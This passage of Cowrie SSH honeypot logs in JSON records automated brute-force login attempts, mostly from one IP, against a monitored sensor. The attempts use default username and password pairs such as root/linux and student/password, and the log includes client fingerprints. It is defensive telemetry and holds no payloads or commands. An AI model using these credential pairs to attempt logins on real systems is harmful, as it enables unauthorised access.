dsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:54:47.078146Z","src_ip":"176.65.139.95","session":"2eec1c03dc94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gpadmin","password":"gpadmin","message":"login attempt [gpadmin/gpadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:54:47.365012Z","src_ip":"176.65.139.95","session":"2eec1c03dc94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:54:48.465171Z","src_ip":"176.65.139.95","session":"2eec1c03dc94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":48368,"dst_ip":"159.203.135.109","dst_port":22,"session":"61ac1daf6f77","protocol":"ssh","message":"New connection: 176.65.139.95:48368 (159.203.135.109:22) [session: 61ac1daf6f77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:54:53.494653Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:54:53.597287Z","src_ip":"176.65.139.95","session":"61ac1daf6f77","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:54:53.601319Z","src_ip":"176.65.139.95","session":"61ac1daf6f77","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux","message":"login attempt [root/linux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:54:54.243494Z","src_ip":"176.65.139.95","session":"61ac1daf6f77","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:54:55.332237Z","src_ip":"176.65.139.95","session":"61ac1daf6f77","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":37762,"dst_ip":"159.203.135.109","dst_port":22,"session":"b3cc62570f5b","protocol":"ssh","message":"New connection: 176.65.139.95:37762 (159.203.135.109:22) [session: b3cc62570f5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:55:00.342361Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:55:00.350443Z","src_ip":"176.65.139.95","session":"b3cc62570f5b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:55:00.433989Z","src_ip":"176.65.139.95","session":"b3cc62570f5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aiuser","password":"aiuser","message":"login attempt [aiuser/aiuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:55:00.837140Z","src_ip":"176.65.139.95","session":"b3cc62570f5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:55:02.122916Z","src_ip":"176.65.139.95","session":"b3cc62570f5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":37768,"dst_ip":"159.203.135.109","dst_port":22,"session":"d8d7b4e70373","protocol":"ssh","message":"New connection: 176.65.139.95:37768 (159.203.135.109:22) [session: d8d7b4e70373]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:55:07.044001Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:55:07.051255Z","src_ip":"176.65.139.95","session":"d8d7b4e70373","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:55:07.134737Z","src_ip":"176.65.139.95","session":"d8d7b4e70373","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"password","message":"login attempt [student/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:55:07.388448Z","src_ip":"176.65.139.95","session":"d8d7b4e70373","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:55:08.484854Z","src_ip":"176.65.139.95","session":"d8d7b4e70373","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":37492,"dst_ip":"159.203.135.109","dst_port":22,"session":"78adc964bd88","protocol":"ssh","message":"New connection: 176.65.139.95:37492 (159.203.135.109:22) [session: 78adc964bd88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:55:13.910860Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:55:13.917038Z","src_ip":"176.65.139.95","session":"78adc964bd88","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:55:14.006215Z","src_ip":"176.65.139.95","session":"78adc964bd88","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"factorio","password":"factorio","message":"login attempt [factorio/factorio] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:55:14.404589Z","src_ip":"176.65.139.95","session":"78adc964bd88","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":57194,"dst_ip":"159.203.135.109","dst_port":22,"session":"90871948626b","protocol":"ssh","message":"New connection: 159.203.92.129:57194 (159.203.135.109:22) [session: 90871948626b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:55:14.791049Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:55:14.796805Z","src_ip":"159.203.92.129","session":"90871948626b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:55:14.824245Z","src_ip":"159.203.92.129","session":"90871948626b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"LXH","password":"LXH","message":"login attempt [LXH/LXH] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:55:15.115186Z","src_ip":"159.203.92.129","session":"90871948626b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:55:15.503464Z","src_ip":"176.65.139.95","session":"78adc964bd88","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:55:16.136706Z","src_ip":"159.203.92.129","session":"90871948626b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":55512,"dst_ip":"159.203.135.109","dst_port":22,"session":"bcd3c90aae0b","protocol":"ssh","message":"New connection: 176.65.139.95:55512 (159.203.135.109:22) [session: bcd3c90aae0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:55:20.547974Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:55:20.559244Z","src_ip":"176.65.139.95","session":"bcd3c90aae0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:55:20.646085Z","src_ip":"176.65.139.95","session":"bcd3c90aae0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nexus","password":"123","message":"login attempt [nexus/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:55:21.042712Z","src_ip":"176.65.139.95","session":"bcd3c90aae0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:55:22.253450Z","src_ip":"176.65.139.95","session":"bcd3c90aae0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":55522,"dst_ip":"159.203.135.109","dst_port":22,"session":"29d674bb3fc6","protocol":"ssh","message":"New connection: 176.65.139.95:55522 (159.203.135.109:22) [session: 29d674bb3fc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:55:27.233447Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:55:27.353123Z","src_ip":"176.65.139.95","session":"29d674bb3fc6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:55:27.357189Z","src_ip":"176.65.139.95","session":"29d674bb3fc6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"daniel","password":"daniel","message":"login attempt [daniel/daniel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:55:28.025007Z","src_ip":"176.65.139.95","session":"29d674bb3fc6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:55:29.112460Z","src_ip":"176.65.139.95","session":"29d674bb3fc6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":54948,"dst_ip":"159.203.135.109","dst_port":22,"session":"efcd380e3bb1","protocol":"ssh","message":"New connection: 176.65.139.95:54948 (159.203.135.109:22) [session: efcd380e3bb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:55:34.035330Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:55:34.039816Z","src_ip":"176.65.139.95","session":"efcd380e3bb1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:55:34.123351Z","src_ip":"176.65.139.95","session":"efcd380e3bb1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sinusbot","password":"sinusbot","message":"login attempt [sinusbot/sinusbot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:55:34.382792Z","src_ip":"176.65.139.95","session":"efcd380e3bb1","protocol":"ssh"}
